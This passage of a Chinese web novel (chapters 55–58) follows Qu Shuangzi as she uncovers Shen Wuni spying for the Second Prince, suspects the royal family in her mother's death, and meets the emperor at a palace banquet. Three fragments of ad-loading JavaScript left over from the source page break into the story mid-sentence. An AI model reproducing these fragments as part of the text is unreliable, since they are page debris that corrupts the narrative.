沈无逆紧紧攥着眉头,亦瞪起眼,二人就在这种诡异的沉默和诡异的动作中暗暗较起劲来。 “会被人发现的!”还是曲霜姿率先想起来此刻境地,挣扎出声。 沈无逆只好松手放她离开,不成想曲霜姿却没有离开的意思,她使劲儿往上扒,然而她的动作不好发力,沈无逆无奈至极,终是看不下去舍得伸手拉她一把。 真真是冤家路窄了。 55. 看破不说破 “你这选了一个好位置啊。”曲霜姿一边感慨,一边打量周遭,沈无逆选的这个地方很是隐秘,哪怕有人仰头看也看不到上面有人。 “你为什么要打碎我的酒杯!” “你赔我的百花酒!” 曲霜姿想起刚刚自己被打碎的酒杯,临走时定是要给人家赔的。 “你不能喝酒又逞什么能?”沈无逆揉了揉眉心,语气无奈道。 曲霜姿脸上一变,“你怎么知道我不能喝酒?”她缓缓睁圆了眼睛,脑海中有什么事情串联到了一起,“上次是你?” 沈无逆心虚地噎了噎,“什么上次?” “你还骂我是猪头。”曲霜姿沉声,一字一句道。她这么久以来没少见沈无逆的墨宝,只是也没把那日醉酒的事儿放在心上,如今细细想来,倒真像是他的字。 “不是我。”沈无逆偏过头。 曲霜姿看出他恼羞成怒,这才想起了重点,“你在这上头干什么?” 她四处张望,大概知道沈无逆鬼鬼祟祟在这里干什么,只是她一时还没找到可供观察的目标。 “什么人物还需要你质子殿下亲自蹲守?” 她这样说着,察觉到沈无逆明显变急躁了,曲霜姿想起刚刚的经历,脑中灵光一闪,向另一个方向探头下去。 那是另一扇窗户,酒楼里一间厢房的窗户。 然而窗户并不开,曲霜姿看不清里头的人儿,只能依稀听到有人在谈话,似乎在谈论朝政相关的事儿。 曲霜姿紧皱眉头,回头瞥了一眼沈无逆。 男人不忍曲霜姿继续扰乱他的行动,只好妥协道:“走,下去。” 一直在屋顶上呆着确实不是长久之计,曲霜姿跟着沈无逆飞檐走壁,眼睁睁看着男人从屋顶打开一扇“门”跳了进去。 她瞧了眼,是醉烟居另一间厢房。 “真是别有洞天啊,”曲霜姿跟着跳下去,她拍拍身上的尘土,冷声道:“我还以为质子殿下是光明磊落之人,未曾想还会干这样的事情。” 还干得这样周到,屋顶都能开出洞来。 沈无逆拂袖,语气愠怒:“不要如此唤我,你们大安人都看不起我便是了,还要上赶着用言语来羞辱我嘛?” 曲霜姿耸耸鼻子,“我也不是大安人啊。” “胡言乱语,”男人不看她,走到屏风后更衣,曲霜姿看着男人挺拔的身影,莫名觉得不好意思,她嗫喏解释:“我阿娘从小就告诉我,她不是大安人,所以我也不是大安人。” “我呛你也不是因为看不起你,你……”曲霜姿本想说他太敏感,话音却戛然而止,沈无逆孤身于此,又怎么能不敏感呢?与其说是敏感,不如说是小心翼翼,整日里承颜候色养成的习惯。 换个角度想,好像只有在她面前,沈无逆才能表露出真实的自我,这未尝不是一件好事。 然而沈无逆并不如此觉得,他只觉得是自己太过浮躁,居然连一点情绪都管理不好,他颓靡地从屏风走出来,脸上瞬间换回了春风般的笑容。 曲霜姿愣了愣,心中涌上酸意。 沈无逆径自走向房门,没有要继续和曲霜姿寒暄的意思。 曲霜姿追了两步,最后只能无力道:“你有什么事可以说出来的,就算不同我说,也可以和你信任的人说,不要总压抑着自己。” “是不是二皇子又逼你做你不想做的事儿了,我们……”曲霜姿试探地问,可一时不知道我们该如何。 其实他们都是穷途上的困兽,只不过各有不同罢了。就像这世界苦难无数,各人有各人的难以言说,也是无可奈何之事。 男人脚步一顿,没有答话,只是淡淡地留下句,“勿要饮酒了。” “也不要再多管闲事。” 曲霜姿正好也是满腹愁思没地方发泄,登时就按捺不住了,“什么叫多管闲事?你可知我为何要找你,我就是想专程找你道谢!” “你帮了我很多次,也再三救我于水火之中,我很感激。但是……我也想帮你啊,我以为……我们至少算是朋友啊。”她攥紧拳头,身体都随着话语轻颤。 “我见过你最好的模样,也相信你一直很好,所以不想看你这副模样!” “我想你真心实意地开心啊。”曲霜姿薄唇轻颤,眼神略有闪躲,甚至不敢直视沈无逆的背影。 沈无逆僵在原地,恍惚地抬了抬手指,他看着自己的手,茫然地翻来又覆去。 他这幅样子,有什么不对吗? 这是他试验过无数次后,能够生活得最舒坦的一种模样。 罢了,曲霜姿这样的女孩儿懂什么。 想让他开心又如何,无论如何他都不会和大安人扯上什么复杂的关系,无论如何都不会把一颗心留在盛京。 沈无逆这样想着,便不再停留,推门走出厢房。 曲霜姿见状更为忧虑,但却反常地没有跟上去,而是向另一个厢房的方向快步走去,她要去看看沈无逆今日又被逼迫做什么了。 她还没怎么靠近厢房,就被一个高大的侍卫给拦住,“你是做什么的?此地不允许闲杂人等靠近。” 她内心翻了个白眼,佯装醉意傻问道:“我也到那头去啊,闲杂人等也不许走过道嘛?”侍卫狐疑地打量她几眼,缓缓腾开了位置。 曲霜姿作难受状,晃晃悠悠地往前走,“一不小心”就重重撞到厢房的门上,昏昏沉沉地倒了下去,一副不省人事的模样。 她耳朵紧贴在门上,听见里头安静片刻,随后传来一个清冽的男声,“外头发生何事了?” 侍卫正不知所措,不知该拿曲霜姿怎么办,他压低声音:“回殿下,是一个姑娘醉了酒,倒在门口了。” “哦?”男人话音一顿。 曲霜姿长袖下的拳头紧张地攥紧,怎么又是一个殿下?听起来不像是二皇子的声音,那便只能是本朝另一位皇子——温孤嘉宥。 这样非同凡响的人物,二皇子派沈无逆亲自来跟着也合乎情理了。 她此时已经后悔自己的冲动,但也是实在想不到她这么倒霉,回回都能叫她撞上这些响当当的大人物。 曲霜姿正打算摸爬起身,门却先她一步开了。 她险些没站稳,脚下踉跄了好几下,被一只修长白皙的大手牢牢握住,曲霜姿小心抬眼。那是一张极为俊美的脸庞,和二皇子相比更加柔和,气质清贵又温润,握着曲霜姿的手很懂得分寸,没有让少女有半分不适。 不像沈无逆老是粗暴待她。 曲霜姿仍装出一副 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醉态,眯着眼偷偷打量着温孤嘉宥,男人笑得亲和谦逊,并无责怪的意味。她于是逮住机会向他身后看去,看向屋里的第二位大人物。 里头的人儿看着更是深不可测,看得出上了年纪,但保养很好,身子很是康健,叫人一时间看不出他的真实年岁,一看就是什么身居高位、德高望重的人物。 但那人的眸子像是深渊,带着渗人的阴狠,且他面色明显不虞,同样眯着眼看向曲霜姿,看得曲霜姿一阵恶寒。 “原来是曲小姐,久仰大名。”面前的真谦谦公子柔声开口,曲霜姿惊讶之色难以掩饰,她呆呆道:“你认识我?” “之前大殿上见过一次,难以忘怀。”温孤嘉宥笑着提醒。 曲霜姿统共也就去过一次大殿,那次帮着简亲娇陈情,紧张得哪里顾得上看殿里还有谁。她慢半拍地想起要行礼,猛得一拱手,都忘了自己的手腕还在温孤嘉宥手里。她力气又大,把大皇子都拉得措手不及。 “对不起啊。”她尴尬道。 大皇子爽朗地笑了几声,“现在酒醒了?” 曲霜姿这才想起自己扮演的是个什么角色,她努力维持镇定,“醒了。” “饮酒伤身,以后要多注意。”大皇子并没看出她是假装的,又或是看破不说破,总之依旧很温和,让人生出无限好感。 “我今日没喝多少,只是酒量不佳,”曲霜姿不好意思地给自己找补,正说着屋里的大人就肃然走了出来。 见曲霜姿面露茫然,温孤嘉宥及时介绍道:“这位是霍丞相,霍大人。” 怪不得曲霜姿觉得有些面熟,原来是霍迁那厮的父亲,是如今的百官之首!曲霜姿连忙恭敬地行了个礼,“民女见过霍大人。” 霍怀远微微颔首,随后就转向了大皇子,二人相互寒暄告别,曲霜姿就站在原地不知如何是好,理智告诉她不能一跑了之,只得耐着性子等。 待霍相走后,温孤嘉宥面带歉意道:“不好意思,怠慢了曲小姐。” 曲霜姿连忙摇头否认,“哪里的事儿,民女今日打搅了殿下雅兴,改日定登门赔礼道歉。”她话罢便有要走的意思,温孤嘉宥连忙唤住她,“霜姿姑娘,我派人送你回去吧。” 曲霜姿没想到大皇子还知道自己的名字,错愕之下,她缓缓摇头,有礼地福身道谢:“不必了,多谢殿下。” “我实在放心不下,那要不我同你回府,也好拜见一下师傅。” 师傅?曲霜姿微微皱眉,她想起来了,余肃叔叔早以前是太师,也确实算是大皇子的师傅。 还没等到她回答,侍卫先上前附耳低语,温孤嘉宥怔了怔,惋惜地叹气,“我还要要事在身,看来只能改日了。” “没关系,那民女先行一步。” — 踏出醉烟居,曲霜姿终于松了口气,她捂着胸膛喘息,不禁再次感慨自己的时运不济。一定赶紧远离这个是非之地,她加快速度,还是近来头一回有了归心似箭的感触。 谁知没走几步,她就被熟悉的力道拉住,曲霜姿觉着晦气,拼命想甩开。但事与愿违,身后人牢牢将她钳住,不许她胡乱挣扎,她正要回头发火。 男人沉声道了一句话,彻底浇灭了少女的怒火,还为着凉秋平添了几分寒意。 56. 引惊风骤雨 曲霜姿夜深才回到余府,东院的烛火还未熄,乐知在院子里等着她,嗔怪道:“你怎么现在才回来,我今天学礼仪学得累死了。” “辛苦啦。”曲霜姿强挤出一个笑容,捏了捏女孩儿的肩。乐知见她有些六神无主地径直回屋,心中一阵忧虑,险些忘了提醒:“霜姿,余大人在屋里等你。” 曲霜姿已经推开了房门,看见了里头端坐着的男人,她躬身行礼:“余叔叔。” 余肃轻蹙眉头,“怎么和我讲这些虚礼。” 少女不答反问:“您怎么这么晚还来我屋里,不休息嘛?” “几日后便是皇帝寿宴,明天起你就委屈些,和乐知一起学习礼仪,”余肃呷了口茶,深深看向曲霜姿,“万事需得小心,盛京并不太平,以后不要这么晚回来了。” 曲霜姿乖顺点头,少见地没有任何好奇。 余肃看她神情严肃,面上虽隐隐带着笑意,而往日清澈的眸子现下就是混混沌沌的一片。男人起身走到她身边,温柔地轻拍她的后背,“最近不开心吗?” “只是看到了许多苦难,这天下还有那么多人遭受着苦难,我却无可奈何,”曲霜姿没有隐瞒,她长舒一口气,将自己心中苦闷娓娓道来。 余肃点了点头,“没关系,慢慢来,先让自己变得强大起来,才有办法守护别人。” “叔叔,”曲霜姿沉默半晌,她抬眸,眼中倒映出跳跃的烛火,她语气平静得可怕,“我阿娘的死,是不是和温孤皇室有关。” 男人怔住,冲曲霜姿身后的乐知摆了摆手,屋里只剩下了他们二人。 “有人和你说了什么吗?”余肃攥紧眉头,语气警惕,心中鼓声大作。 有了余肃叔叔这样的反应,曲霜姿倒突然轻松了,她吐出口气,嘴角凝起抹冰冷的寒意。原来如此,她心道,怪不得她什么都查不出来,怪不得余肃叔叔百般劝阻她不要轻举妄动。 原来是和那金字塔顶端的人物有关呐。 她粲然一笑,“我知道了,余叔叔,您早些回去休息吧。” 余肃看她态度猛然转变,突然发现面前这个小姑娘变得陌生了。约摸半年光景,她竟然拔高了有两寸,也不再是那个把表情写在脸上的娇蛮小孩儿,而是确确实实学会了忍耐、学会了担当。 是个心思难以窥探的大姑娘了。 他忧心忡忡地看向曲霜姿,他庆幸于少女的成长,可又害怕她在筹谋着什么能引来惊风骤雨的大事儿。 屋内昏暗,只有外头风声呜呜,二人相对无言。 余肃拍拍曲霜姿的肩,意味深长地看了她眼,千言万语都只化作最后一句语重心长:“好好休息。” — 今夜注定无眠,曲霜姿把所有烛光都熄灭,睁着眼躺在榻上,似乎是想同黑暗一较高下,争个你死我活。 她尚且不知道曲婧的死和皇室有多少关系,可但凡与其沾上半分便都进退维谷。 况今日她之所以回来这么晚,便是被迫去见了二皇子,沈无逆看出她忧虑,便想她担保:“我不会让你出事。” 曲霜姿虽知沈无逆说了不算,但她如今也算是望族小姐,心中多少安稳几分,不然借她十个胆子,也不敢出现在温孤嘉宸面前。 “都是皇子,这两人怎么差这么多呢?”曲霜姿烦闷地嘟囔着,被风吹到了沈无逆的耳朵里,沈无逆似乎料到她见了温孤嘉宥,淡然开口:“大皇子从小受陛下和皇后娘娘宠爱,母族殷实、势力强盛,从小锦衣玉食荣华富贵,又天资聪颖、文采斐然,自然性子明朗温润。” “后来大安实力并不如前,再加上二皇子的母族出身寒门……”沈无逆戛然而止,没有继续说下去。 周遭陷入诡谲的安静。 曲霜姿抬眼瞅向沈无逆的侧脸,男人的长睫微垂,笼住眼下的阴抑,倒显得有那么几分落寞。 “所以是不是二皇子派你跟着大皇子啊?”曲霜姿终于问出口,她原本想说跟踪,但思来想去还是换了个更委婉的词。 沈无逆不吭声,曲霜姿气不过,先替他骂起来,“你好歹是邵辰的皇子,他怎么能这样使唤你?” 沈无逆长睫颤了颤,好似是欲言又止,该是提醒她莫要出言不敬。 曲霜姿选择性地忽略,她覃思片刻,突然发问:“你想过离开吗?回邵辰去。” 男人身子一僵,不再往前,他仿佛是下了很大的决心才转过身来,然而垂眸对上少女真挚目光的那刻,他鬼使神差地没忍住真心话:“想。” 甚至眼眶都有些湿。 他整理好情绪,无奈牵起抹勉强的笑,“但现在又能如何呢?” “如果有机会,我定帮你回家。”曲霜姿话音很轻,这话的分量却是极重,皇帝爷想让他永远待在盛京,曲霜姿难道还能和温孤昪作对不成? 他没当回事,笑得有些嘲讽,转身上了马车。 曲霜姿一急,三步并作两步地跳上去,狠狠撞上了沈无逆的后背,她拔高声音,“我说真的,我曲霜姿说一不二,若有半句虚言……” 她话还没来得及说出来,沈无逆迅捷地抬起手捂住曲霜姿的嘴,两相触碰,二人不约而同地心跳漏了一拍,恍惚了一瞬。 沈无逆反应过来,讪讪收回手,但掌心柔软和余温久久为散,惹得他心痒难耐,不得已只好握紧拳头。 曲霜姿没有把刚才的誓言继续宣告出来,只是静静坐下,半晌都不言传。久到沈无逆以为她在生气,男人一只手握紧又松开,举起又放下,循环往复、不知所措。 直到少女蓦然抬头,郑重道:“我不骗你。” 眼里依旧是盛烈的火,那火直窜入沈无逆的心里,烧得他整个人动弹不得,脑中轰然一片,像是被架在火上烤,却偏偏没有灼烧感,反而是无尽的暖包裹住了他,让他无比贪恋。 马车辚辚辘辘,外头还有若即若离的叫卖声,曲霜姿又开口,一句话再次赫然撞进他心头。 沈无逆看她柔软的唇张张合合,整个世界荒寂下来,他竟然没听明白曲霜姿说了什么。 半歇,他反应回来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 曲霜姿道:“沈霁明,你要信我。”少女眼神绵软温情,还有恳求的意味,最让人难以忽视的仍然是那份竭诚。 他完全木然,眼神近乎空洞,满脑子都是曲霜姿的话。 他极力克制着情绪,掌心却已攥出了血痕。他一面异样,明明曲霜姿只是吐露了简短的几个字,怎叫他慌乱至此,而另一面又按捺不住想要离这火团近些、再近些——恍若飞蛾扑火,将他彻底吞噬也好。 沈无逆少年老成,慢半拍地想到了一种可能,极为恐怖的可能。 他动了心了。 哪怕他一味地告诉自己要远离,可本能便让他靠近,他害怕沉溺其中、无法自拔。 沈无逆强迫自己阖眸,屏息凝神,不听不看。 时间漫长得可怕,实在煎熬,马车终于停下,沈无逆松了口气,“下车吧。” 曲霜姿奇怪地上下端量他,可终究看不出什么端倪,无奈下了马车。面前又是森然的二皇子府,府上当头的一隅天仿佛都要比别处阴沉些。 她加速跟上沈无逆,不敢稍有分心。 …… 曲霜姿回神,周遭还是黑暗,她想到二皇子虚伪的笑容,想到他字字句句下的威逼利诱。 “远离温孤嘉宥,你若是忠心于我,我必然让你站得更高。” 曲霜姿看向他,目光疑惑,像是在问能有多高。 男人还说了很多,但曲霜姿独记住一句嘱咐,“若未来陛下召见你,莫要同他讲你我的关系,也切记要以纱覆面。” 曲霜姿当时只眯着眼,狡黠地笑说:“您说什么呢,我与您只有几面之缘,民女怎么敢高攀呢?” 她当时顾着讥诮,回来的路上才感到奇怪,为什么温孤嘉宸的语气这样笃定,笃定了温孤昪会召见自己,笃定了温孤昪会介怀二人关系。更可疑的一点,是他还和余肃叔叔一样,都让遮蔽面容。 也是缘此,曲霜姿才有了大胆的猜测。 她苦闷地叹息,转念想到二皇子将沈霁明单独留了下来。 她内心莫名焦灼。 沈霁明会有事吗?今日她又害得他任务失败,任务失败的后果是什么,曲霜姿难以想象,但她想到之前大公主对沈霁明的毒打,那满背鞭痕并不是玩笑。 想着想着,她不由得攥紧了被角。 — 再相见,是五日之后的宫宴。 曲霜姿一大早就被乐知喊起来梳洗,乐知本不会梳妆打扮,来了余府后有人来教,居然意外地得心应手。 她看着铜镜中少女的姣好容颜,笑得弯了眉眼,由衷赞道:“小姐真是仙女下凡。”曲霜姿气得打她,“你怎么这样称呼我,故意气我是不是。” 曲霜姿如今是名门小姐,出门在外少不了要人服侍,旁人她又不习惯,再加上乐知也不好无故呆在她身边,也想跟着她到处见见世面,便做了她名义上的贴身侍女。 “好啦,好啦,我们霜姿真是好看。” 正调笑着,屋外传来余肃清冷的声音,“霜姿,该出发了。” 57. 不变好风姿 这是曲霜姿头一回正经打扮,从头上的珠钗簪花,到身上的碧波翠缕裙,还有脚上的软底云丝绣鞋都叫她不适应得很,比她及笄礼那日还要隆重。 余肃一个大男人,不懂怎么给大姑娘选衣服,便像小时候一般花红柳绿地送来一堆任她挑选,曲霜姿千挑万选,才选了这套看着清新淡雅的,总不至于太艳丽惹眼。 乐知还给自己绾了小髻,自得其乐地欣赏着。 曲霜姿呜呼哀哉,只哭喊着抱怨乐知变了心,不与自己同甘苦共患难了。 马车上,余肃端详着少女,眉宇间透出昕悦,唇边却凝着苦笑。“和你阿娘很像,都喜欢蓝绿的颜色,但你阿娘像你这个年岁却爱桃红姚黄,独领这盛京城的风韵。” * 男人透过曲霜姿看起了故人,惊觉少女眼中光芒与故人年轻时极为相像,只是故人眉目含情,更带几分柔情。 又也许不是故人有情,是他见了故人便满心欢喜…… 余家的马车被特许直入宫闱,马车平稳地驶在红墙之间,曲霜姿撩起纱帘往外瞧。余肃见她瞧得认真,不由失笑问:“你喜欢这里?” 话一出口他就后悔了。 曲霜姿摇摇头,“美则美矣,太过孤冷。”她无声轻吁:“这墙像是鲜血染就的。”话罢,她放下纱帘收回了目光,静静地坐着。 余肃默然不语,心底莫名涌起酸意,他盯着少女的面庞突然想起了什么,从袖中掏出一个木匣子。曲霜姿好奇地看过去,余肃小心捧出里头的东西,是一张精致的雪青色面纱,曲霜姿了然,接过后挂上双耳,以纱覆面。 这些日子她长开了,五官也更加端正伶俐,褪去了从前的稚气,现下空留一双眸子,如虎如狼,更显犀利。 余肃帮她扶正面纱,正视她的眼睛,似乎漫不经心地嘱咐道:“别让仇恨盛满你的眼睛。” 曲霜姿晃晃脑袋,噗嗤笑出了声,眼里笑意荡开了那点肃穆,她也装作飘飘然许诺:“好。” — 曲霜姿不知道给那些个贵人行了多少礼,走进宴厅时,空气都凝固了,无数双少女的眼睛都落在她身上。 而待她顺着目光看过去,目光的主人又默默转了头,搞得她摸不着头脑。 她只好阖眸喘息,耳边这才叽叽喳喳的声音。 她这边不是正式的宴厅,都是些未出阁的小姑娘,此刻还未开宴,都簇拥在一起闲聊。 “怎么?这便累了?” 是林寻雁的声音,冰冷又傲娇,曲霜姿睁开眼睛,笑道:“在等林小姐呢。”她敏锐地觉察到,林寻雁甫一过来,场上众人又都看了过来。 曲霜姿无奈地在心底叹息。 又有人走过来,是一个看着同曲霜姿年纪相仿的女子,身着藕荷色绫缎花锦袍,脸上凝着未散的笑,娇俏明艳。 “寻雁姐姐,霜姿姐姐。”少女唤道。 林寻雁轻声介绍:“这是欧阳二小姐,还未及笄。” “欧阳妹妹好。”曲霜姿福了福身,礼貌性地回礼。 有了欧阳打头,原先对曲霜姿有些好奇的姑娘都凑了上来问好,曲霜姿笑得脸都僵了,一个个问了好,寒了暄。 “姐姐为何以纱覆面?” 曲霜姿摸了摸轻薄柔软的纱,她自己都快忘了还有这玩意儿挡着自己的脸,“我生了面疮,恐吓着各位姐妹。” “竟是如此,可有找大夫看过?” “找了,只是面疾严重,一时半会儿怕是好不了的。”她一本正经地扯着谎,想自己未来一时也离不开这面纱,便将谎也扯得长远了些。 “真是可惜,希望姐姐快些好,”欧阳扑簌簌眨着大眼睛,继续刨根问底儿:“霜姿姐姐从前住在何处?” 曲霜姿顺手拈来,答了余肃谎称养病的奉州。奉州天灵地杰、物华天宝,且冬暖夏凉、气候温和宜人,很适合修身养性,就是略偏僻了些。 “那里比咱们盛京如何?”欧阳无心一问,在场听着得却了不得,个个屏气敛声凝视着曲霜姿。 “自然是比不得的,但胜在山清水秀,各位姐妹若是有遍游天下的愿望,不妨去瞧瞧,定会不虚此行。”她答得进退得当,但一众听者却不满意。 谭家的大小姐嗤笑一声,“我们生在盛京,自然不比妹妹自由快活,怕是难有去那远地的机会。”她衣着华贵,说着说着笼了笼掺着金线的袖子,转身牵起另一位少女的手,“如果我没记错,花家妹妹下月便要成亲了吧。” “咱们妹妹花容月貌,探花郎这下是真的探到花啦。” 被突然提到的少女脸倏地红了,一路红到了耳根子,“谭姐姐莫要打趣我了。” 谭家大小姐笑得花枝招展,引得场上的少女们都嬉笑个不停,林寻雁和曲霜姿对视一眼,都在对方眼里看到了不耐烦,知音难觅,二人脸上也浮上了笑容。 “林大小姐也是好事将近了吧。”雷家的小姐用帕子捂着嘴笑,还不忘把林寻雁拉下水。 林寻雁的笑僵在脸上,眼神瞬间冷了下来。 曲霜姿挑眉,她想起曾经种种,也看向林寻雁。她现下已清楚,林寻雁是冲着大皇子妃的位子去的,这也是她来到大理寺的真正目的,但与其说是她心中愿望,不如说是林家想要攀高枝。 “妹妹说笑了。”林寻雁不正眼看她,手不由自主地摸向她的佩剑,然而殿前不得佩剑,她扑了空,正想握紧拳头,却被另一只手握住。 是曲霜姿。 曲霜姿朗声笑了几声,丝毫没在意世家的繁缛礼节,对面为首的几个女子立刻向她投来鄙夷的目光。 “我们寻雁在大理寺查破无数诡案,造福盛京百姓,盛京无数男子都艳羡不已呢。” “盛京的好公子就那么几个,哪里还等她林寻雁呀。” “至于那野丫头,就更不用说了。” 众人不以为意,人群中反而传出讥讽的嘲笑,曲霜姿耳朵灵敏,全都听到了,她缓缓蹙起了眉头。 有公公提醒吉时已到,要开宴了,几位大家小姐终于舍得离去,施施然地回了自己的位置。 “连状元郎都被谭姐姐迷得心神不宁,这天底下的好公子哪里轮得到旁人呢。”然而阿谀之词未散,好一会儿,曲霜姿耳畔才清净。 林寻雁感谢地看向曲霜姿,无需言语,曲霜姿已然领会:“寻雁,你去吧,不要管她们。” 安慰了林寻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雁,她自己却还是忧愁满腹。她实在想不通,这些个未出阁的姑娘,张口闭口都是婚嫁之事,并以此为抬高自己身份地位的途径,还相互攀比挖苦。 真是…… 难道女子就不能靠自己的才能立身处世,赢得世人的尊重吗?怎么就只有嫁人这一条出路了。 曲霜姿食不知味,装模做样地应付完了宴席,便径自出了殿堂。 林寻雁紧随其后,二人一齐走到了僻静处。 现下秋景正盛,菊园里并不萧索,凤凰振羽开得辉煌又艳烈,花团锦簇、香气袭人,远远望去像是一片赤焰火海,熊熊燃烧着。 “霜姿,谢谢你刚才为我说话。” 曲霜姿莞尔一笑,“应该的,她们说的话你不要放在心上。” “你也是。” 二人身处花海中,心情也随之愉悦起来,身边有人缓缓靠近,居然连曲霜姿都没及时反应过来。 她反应过来的时候,男人已经来到了面前。 “听说曲姑娘生了面疮,怎么回事?前些日子不还好着吗?”大皇子紧握手中折扇,面露焦急,不像有假。 林寻雁讶异地看向二人,她竟不成想曲霜姿还和温孤嘉宥认识。 曲霜姿恭敬行礼,“突发顽疾,让殿下见笑了。” 林寻雁也一同行礼,只是温孤嘉宥满眼都是曲霜姿,似乎压根不曾注意到她,这样也好,落得轻松自在。 “可要我请太医来瞧瞧?”温孤嘉宥情急之下,居然伸手探向曲霜姿的纱帘,想要一探究竟。 曲霜姿微微闪躲,她摇头道:“不必了,多谢殿下挂怀,家父已请了名医诊治,只是我实在不争气。” 大皇子亦意识到自己的行为不妥,连忙道歉,“是我唐突了,也许是余大人是我的师傅,故而我待你也多了几分亲近,曲姑娘莫怪。” “原是如此,”曲霜姿退到林寻雁身边,“那民女就先告退了。” “曲小姐喜欢菊花吗?”温孤嘉宥打量了一番周遭景致,眼里却也只能看得见曲霜姿一人,“我知道哪里的菊花更别致,曲小姐可想去看看?” 曲霜姿没有此等闲情雅致,但她还没开口拒绝,原本几步开外的大皇子侍从匆匆走了上来,“殿下,陛下临时起意,半个时辰后要让诸位公子侯爷在校场比试助兴呢,咱们还是快些去准备吧。” “殿下慢走。”曲霜姿福身送别。 温孤嘉宥方才彻底回神,步履匆匆地离开了,他走出一段距离,却又忍不住回头。 曲霜姿正弯着眉眼和林寻雁交谈,一身碧色的衣袍随风舞动,在一片澄黄的世界清新亮丽,还有几分脱俗的气骨。 霜姿。 他在心中念着少女的名字,想起初见时她身姿挺直,满脸真挚与坚毅,以至于后来知道她名字后,他在心里久久感叹:这名字真衬她。 历冰霜,不变好风姿。 …… 曲霜姿那头还在极力撇清自己和大皇子的关系,惹得林寻雁哭笑不得,林寻雁鲜少这么笑她,搞得她不知所措,面露窘态。 “寻雁,你喜欢他,是不是?” 曲霜姿实在没法儿了,咬牙决心问个究竟。 58. 高处不胜寒 风倏地大了,吹得满园的凤凰仰起了头,欲展翅翱翔,满园的艳烈连成一片,像是潮起潮落,像是云卷云舒。 林寻雁的长发被风卷起,她没吭声,怔怔地握住了空中的发丝。 风刮了许久才停,曲霜姿听见林寻雁一张寒冰似的脸破开,露出迷惘,她薄唇微启:“我不知道。” 林家和皇帝的母族算是亲族,她从小就是被这样教育的,所有人都将她奉为未来的皇子妃、太子妃、甚至是皇后。但她犹记得,这份尊崇原本是轮不到她的,只是因为嫡夫人一直未有女儿。林寻雁记忆里一直有一个女人,女人告诉她,你要自由,不要被困在这里。 但是时间太久,若不是她总要回味,几乎要忘得一干二净。 她只剩下了腰间这把配剑。 其余关于她亲生母亲的一切,她都忘了。 “我还记得我第一次见他,便想要同他亲近些,大皇子算是我的表兄,他对我很好,但是呢……”林寻雁止住话音,虚叹一声:“他对所有人都好,慢慢的,我也就不报有希望了,只听从家族的安排,父亲和嫡母的命令。” “有时候,我心里会有一个声音告诉我,”她有些哽咽,但还是一字一句道:“我要自由。” 曲霜姿眼眶不由得湿润,上前抱住林寻雁,她的手握住林寻雁的手,让林寻雁把腰间佩剑握得更紧了些,“那我们便倾听心里的声音。” 林寻雁小声呜咽几声后就缓了过来,她勉强笑道:“可他待你不一样。” “殿下虽为人亲善,但也很有分寸,我……从来都没见过他这个样子。” 曲霜姿皱眉,不可置信道:“这怎么可能?我和他都没说过几句话。” “也许是我想多了,”林寻雁看她一脸惊奇的模样,不由得发笑,“今日真是失态了,害你玩得不尽兴。” “哪有的事儿,”曲霜姿轻轻抚上一朵菊花,回头向林寻雁道:“你有什么都可以告诉我的,其实我们很像,我阿娘去世后,留给我的东西不多,倒也有把匕首。” “可惜,那把匕首被我弄丢了。” 林寻雁拍拍她的肩膀,“你同我说过,是给了沈大人?未来拿回来便是。” “不提这个,寻雁,你想学武吗?”曲霜姿翻了根被人忽视的小杂枝,在空中比划起来,她眯起眼睛笑道:“你的剑是把好剑,总要物尽其用才是呀。” 她此言不虚,曲霜姿见过这剑出鞘,表面看着无功无过,但实在是大巧不工。曲霜姿记得余肃叔叔曾讲给她听过,这种剑一般是江湖人士所用,是草原那边传过来的。 林寻雁抽出剑来给曲霜姿瞧。 “看起来已经用了很久了,但依旧锋利如初。”曲霜姿眼睛一亮,啧啧称奇赞叹,“我家叔叔最善用剑,回头我让他教你。” “我还是不麻烦了吧。” “只要你愿意,随时告诉我就好。” 二人走近园子深处,林寻雁心有不安,“宴会那边万一有什么事该怎么办?” 曲霜姿安慰她几句,很是享受这种和人相互信赖、无话不谈的感觉。换作旁人,谁能知道林寻雁这张冰块脸下的忧愁满腹、顾虑重重呢? “要是有什么事,阿夭会来找我们的吧。” 阿夭是林寻雁的贴身侍女,此刻和乐知一起,在另一个地方等待。 林寻雁点头应是。 “在你们盛京城里,对沈无逆是怎么评价的?”曲霜姿思忖半晌,突然开口询问。 然而林寻雁还没来得及回复,阿夭就到了,说是那边一会要去校场上观赛,让林寻雁回去换一件轻便的衣裳。 曲霜姿穿得倒本就轻便,就和林寻雁告了别,自己继续在菊园里溜达溜达,随后再赶去校场上。 不得不说,她留下的原因确实是为了大皇子口中所谓别致的菊花。曲婧爱菊,说世上有种菊花花开时呈绿色,碧绿如玉、晶莹欲滴,经由日照绿中透黄、光彩夺目,还形似牡丹,故称为“绿牡丹”。 她继续深入园中,一边游逛,一边赞服,不愧是皇家花园,各种品种是菊争奇斗艳,都被打理得极好。 曲霜姿走得有些累,也有些失望,各样的菊虽美,但看久了难免视觉疲劳。菊花终究是以红黄为主流,寻不见绿意也是正常的,少女叹了口气,只好打消了继续探寻的念头。 转身欲走之际,身后传来一道沉稳威严的声音,曲霜姿浑身僵住。 这声音莫名耳熟,曲霜姿僵硬地回头,面前之人亦是面熟,她定睛一看,这龙袍加身、不怒自威的男人,不是温孤昪又是谁? 她急忙稳定心神,跪下问安。 男人睥睨着她,冷声质问:“你是何人?” “臣女曲霜姿误入菊园、扰了陛下清净,还请陛下恕罪。”曲霜姿一边说着,一边疑惑地思索:温孤昪今日寿宴,该是万臣簇拥、百官相随,况且不是才说要在校场比武助兴吗?他怎么会出现在这里!? “曲霜姿,”温孤昪重复了一遍少女的名字,眼神淡然几乎是无情地看向她,“怎么戴着面纱?” “臣女生了面疮,怕坏了陛下和各位贵人的心情。” 温孤昪这才示意她起身,曲霜姿默默松了口气,这才不消片刻,她的冷汗已经浸透了衣衫。明明天气晴朗依旧,曲霜姿却觉得冷了几分,几乎要被冻在原地动弹不得。 她在心里默默腹诽:帝王之威如此,大夏天站在他旁边是不是还能消暑。 “你来这园子做什么?”男人又问。 